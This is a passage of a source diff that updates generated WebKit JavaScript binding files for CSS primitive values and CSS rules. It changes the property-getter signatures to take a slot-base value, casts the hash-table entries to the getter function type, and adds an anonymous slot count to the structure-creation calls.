 
-JSValue jsCSSPrimitiveValueCSS_ATTR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_ATTR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(22));
 }
 
-JSValue jsCSSPrimitiveValueCSS_COUNTER(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_COUNTER(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(23));
 }
 
-JSValue jsCSSPrimitiveValueCSS_RECT(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_RECT(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(24));
 }
 
-JSValue jsCSSPrimitiveValueCSS_RGBCOLOR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_RGBCOLOR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(25));
 }
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSPrimitiveValue.h b/src/3rdparty/webkit/WebCore/generated/JSCSSPrimitiveValue.h
index c015d4c..124ecef 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSPrimitiveValue.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSPrimitiveValue.h
@@ -39,7 +39,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -58,7 +58,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSPrimitiveValuePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -76,36 +76,36 @@ JSC::JSValue JSC_HOST_CALL jsCSSPrimitiveValuePrototypeFunctionGetRectValue(JSC:
 JSC::JSValue JSC_HOST_CALL jsCSSPrimitiveValuePrototypeFunctionGetRGBColorValue(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsCSSPrimitiveValuePrimitiveType(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSPrimitiveValuePrimitiveType(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 // Constants
 
-JSC::JSValue jsCSSPrimitiveValueCSS_UNKNOWN(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_NUMBER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_PERCENTAGE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_EMS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_EXS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_PX(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_CM(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_MM(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_IN(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_PT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_PC(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_DEG(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_RAD(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_GRAD(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_MS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_S(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_HZ(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_KHZ(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_DIMENSION(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_STRING(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_URI(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_IDENT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_ATTR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_COUNTER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_RECT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPrimitiveValueCSS_RGBCOLOR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSPrimitiveValueCSS_UNKNOWN(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_NUMBER(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_PERCENTAGE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_EMS(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_EXS(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_PX(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_CM(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_MM(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_IN(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_PT(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_PC(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_DEG(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_RAD(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_GRAD(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_MS(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_S(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_HZ(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_KHZ(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_DIMENSION(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_STRING(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_URI(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_IDENT(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_ATTR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_COUNTER(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_RECT(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPrimitiveValueCSS_RGBCOLOR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSRule.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSRule.cpp
index 8d99056..cb24a12 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSRule.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSRule.cpp
@@ -39,11 +39,11 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSRule);
 
 static const HashTableValue JSCSSRuleTableValues[6] =
 {
-    { "type", DontDelete|ReadOnly, (intptr_t)jsCSSRuleType, (intptr_t)0 },
-    { "cssText", DontDelete, (intptr_t)jsCSSRuleCssText, (intptr_t)setJSCSSRuleCssText },
-    { "parentStyleSheet", DontDelete|ReadOnly, (intptr_t)jsCSSRuleParentStyleSheet, (intptr_t)0 },
-    { "parentRule", DontDelete|ReadOnly, (intptr_t)jsCSSRuleParentRule, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSRuleConstructor, (intptr_t)0 },
+    { "type", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleType), (intptr_t)0 },
+    { "cssText", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleCssText), (intptr_t)setJSCSSRuleCssText },
+    { "parentStyleSheet", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleParentStyleSheet), (intptr_t)0 },
+    { "parentRule", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleParentRule), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -58,16 +58,16 @@ static JSC_CONST_HASHTABLE HashTable JSCSSRuleTable =
 
 static const HashTableValue JSCSSRuleConstructorTableValues[11] =
 {
-    { "UNKNOWN_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleUNKNOWN_RULE, (intptr_t)0 },
-    { "STYLE_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleSTYLE_RULE, (intptr_t)0 },
-    { "CHARSET_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleCHARSET_RULE, (intptr_t)0 },
-    { "IMPORT_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleIMPORT_RULE, (intptr_t)0 },
-    { "MEDIA_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleMEDIA_RULE, (intptr_t)0 },
-    { "FONT_FACE_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleFONT_FACE_RULE, (intptr_t)0 },
-    { "PAGE_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRulePAGE_RULE, (intptr_t)0 },
-    { "VARIABLES_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleVARIABLES_RULE, (intptr_t)0 },
-    { "WEBKIT_KEYFRAMES_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleWEBKIT_KEYFRAMES_RULE, (intptr_t)0 },
-    { "WEBKIT_KEYFRAME_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleWEBKIT_KEYFRAME_RULE, (intptr_t)0 },
+    { "UNKNOWN_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleUNKNOWN_RULE), (intptr_t)0 },
+    { "STYLE_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleSTYLE_RULE), (intptr_t)0 },
+    { "CHARSET_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleCHARSET_RULE), (intptr_t)0 },
+    { "IMPORT_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleIMPORT_RULE), (intptr_t)0 },
+    { "MEDIA_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleMEDIA_RULE), (intptr_t)0 },
+    { "FONT_FACE_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleFONT_FACE_RULE), (intptr_t)0 },
+    { "PAGE_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRulePAGE_RULE), (intptr_t)0 },
+    { "VARIABLES_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleVARIABLES_RULE), (intptr_t)0 },
+    { "WEBKIT_KEYFRAMES_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleWEBKIT_KEYFRAMES_RULE), (intptr_t)0 },
+    { "WEBKIT_KEYFRAME_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleWEBKIT_KEYFRAME_RULE), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -92,7 +92,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -115,16 +115,16 @@ bool JSCSSRuleConstructor::getOwnPropertyDescriptor(ExecState* exec, const Ident
 
 static const HashTableValue JSCSSRulePrototypeTableValues[11] =
 {
-    { "UNKNOWN_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleUNKNOWN_RULE, (intptr_t)0 },
-    { "STYLE_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleSTYLE_RULE, (intptr_t)0 },
-    { "CHARSET_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleCHARSET_RULE, (intptr_t)0 },
-    { "IMPORT_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleIMPORT_RULE, (intptr_t)0 },
-    { "MEDIA_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleMEDIA_RULE, (intptr_t)0 },
-    { "FONT_FACE_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleFONT_FACE_RULE, (intptr_t)0 },
-    { "PAGE_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRulePAGE_RULE, (intptr_t)0 },
-    { "VARIABLES_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleVARIABLES_RULE, (intptr_t)0 },
-    { "WEBKIT_KEYFRAMES_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleWEBKIT_KEYFRAMES_RULE, (intptr_t)0 },
-    { "WEBKIT_KEYFRAME_RULE", DontDelete|ReadOnly, (intptr_t)jsCSSRuleWEBKIT_KEYFRAME_RULE, (intptr_t)0 },
+    { "UNKNOWN_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleUNKNOWN_RULE), (intptr_t)0 },
+    { "STYLE_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleSTYLE_RULE), (intptr_t)0 },
+    { "CHARSET_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleCHARSET_RULE), (intptr_t)0 },
+    { "IMPORT_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleIMPORT_RULE), (intptr_t)0 },
+    { "MEDIA_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleMEDIA_RULE), (intptr_t)0 },
+    { "FONT_FACE_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleFONT_FACE_RULE), (intptr_t)0 },
+    { "PAGE_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRulePAGE_RULE), (intptr_t)0 },
+    { "VARIABLES_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleVARIABLES_RULE), (intptr_t)0 },
+    { "WEBKIT_KEYFRAMES_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleWEBKIT_KEYFRAMES_RULE), (intptr_t)0 },
+    { "WEBKIT_KEYFRAME_RULE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleWEBKIT_KEYFRAME_RULE), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -180,41 +180,45 @@ bool JSCSSRule::getOwnPropertyDescriptor(ExecState* exec, const Identifier& prop
     return getStaticValueDescriptor<JSCSSRule, Base>(exec, &JSCSSRuleTable, this, propertyName, descriptor);
 }
 
-JSValue jsCSSRuleType(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSRuleType(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSRule* castedThis = static_cast<JSCSSRule*>(asObject(slot.slotBase()));
+    JSCSSRule* castedThis = static_cast<JSCSSRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSRule* imp = static_cast<CSSRule*>(castedThis->impl());
-    return jsNumber(exec, imp->type());
+    JSValue result = jsNumber(exec, imp->type());
+    return result;
 }
 
-JSValue jsCSSRuleCssText(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSRuleCssText(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSRule* castedThis = static_cast<JSCSSRule*>(asObject(slot.slotBase()));
+    JSCSSRule* castedThis = static_cast<JSCSSRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSRule* imp = static_cast<CSSRule*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->cssText());
+    JSValue result = jsStringOrNull(exec, imp->cssText());
+    return result;
 }
 
-JSValue jsCSSRuleParentStyleSheet(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSRuleParentStyleSheet(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSRule* castedThis = static_cast<JSCSSRule*>(asObject(slot.slotBase()));
+    JSCSSRule* castedThis = static_cast<JSCSSRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSRule* imp = static_cast<CSSRule*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->parentStyleSheet()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->parentStyleSheet()));
+    return result;
 }
 
-JSValue jsCSSRuleParentRule(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSRuleParentRule(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSRule* castedThis = static_cast<JSCSSRule*>(asObject(slot.slotBase()));
+    JSCSSRule* castedThis = static_cast<JSCSSRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSRule* imp = static_cast<CSSRule*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->parentRule()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->parentRule()));
+    return result;
 }
 
-JSValue jsCSSRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSRule* domObject = static_cast<JSCSSRule*>(asObject(slot.slotBase()));
+    JSCSSRule* domObject = static_cast<JSCSSRule*>(asObject(slotBase));
     return JSCSSRule::getConstructor(exec, domObject->globalObject());
 }
 void JSCSSRule::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -224,7 +228,8 @@ void JSCSSRule::put(ExecState* exec, const Identifier& propertyName, JSValue val
 
 void setJSCSSRuleCssText(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CSSRule* imp = static_cast<CSSRule*>(static_cast<JSCSSRule*>(thisObject)->impl());
+    JSCSSRule* castedThisObj = static_cast<JSCSSRule*>(thisObject);
+    CSSRule* imp = static_cast<CSSRule*>(castedThisObj->impl());
     ExceptionCode ec = 0;
     imp->setCssText(valueToStringWithNullCheck(exec, value), ec);
     setDOMException(exec, ec);
@@ -237,52 +242,52 @@ JSValue JSCSSRule::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
 
 // Constant getters
 
-JSValue jsCSSRuleUNKNOWN_RULE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSRuleUNKNOWN_RULE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(0));
 }
 
-JSValue jsCSSRuleSTYLE_RULE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSRuleSTYLE_RULE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(1));
 }
 
-JSValue jsCSSRuleCHARSET_RULE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSRuleCHARSET_RULE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(2));
 }
 
-JSValue jsCSSRuleIMPORT_RULE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSRuleIMPORT_RULE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(3));
 }
 
-JSValue jsCSSRuleMEDIA_RULE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSRuleMEDIA_RULE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(4));
 }
 
-JSValue jsCSSRuleFONT_FACE_RULE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSRuleFONT_FACE_RULE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(5));
 }
 
-JSValue jsCSSRulePAGE_RULE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSRulePAGE_RULE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(6));
 }
 
-JSValue jsCSSRuleVARIABLES_RULE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSRuleVARIABLES_RULE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(7));
 }
 
-JSValue jsCSSRuleWEBKIT_KEYFRAMES_RULE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSRuleWEBKIT_KEYFRAMES_RULE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(8));
 }
 
-JSValue jsCSSRuleWEBKIT_KEYFRAME_RULE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSRuleWEBKIT_KEYFRAME_RULE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(9));
 }
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSRule.h b/src/3rdparty/webkit/WebCore/generated/JSCSSRule.h
index afc609c..59f509a 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSRule.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSRule.h
@@ -21,7 +21,6 @@
 #ifndef JSCSSRule_h
 #define JSCSSRule_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -44,7 +43,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -69,7 +68,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSRulePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -78,24 +77,24 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsCSSRuleType(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSRuleCssText(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSRuleType(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSRuleCssText(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCSSRuleCssText(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCSSRuleParentStyleSheet(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSRuleParentRule(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSRuleParentStyleSheet(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSRuleParentRule(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 // Constants
 
-JSC::JSValue jsCSSRuleUNKNOWN_RULE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSRuleSTYLE_RULE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSRuleCHARSET_RULE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSRuleIMPORT_RULE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSRuleMEDIA_RULE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSRuleFONT_FACE_RULE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSRulePAGE_RULE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSRuleVARIABLES_RULE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSRuleWEBKIT_KEYFRAMES_RULE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSRuleWEBKIT_KEYFRAME_RULE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSRuleUNKNOWN_RULE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSRuleSTYLE_RULE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSRuleCHARSET_RULE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSRuleIMPORT_RULE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSRuleMEDIA_RULE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSRuleFONT_FACE_RULE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSRulePAGE_RULE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
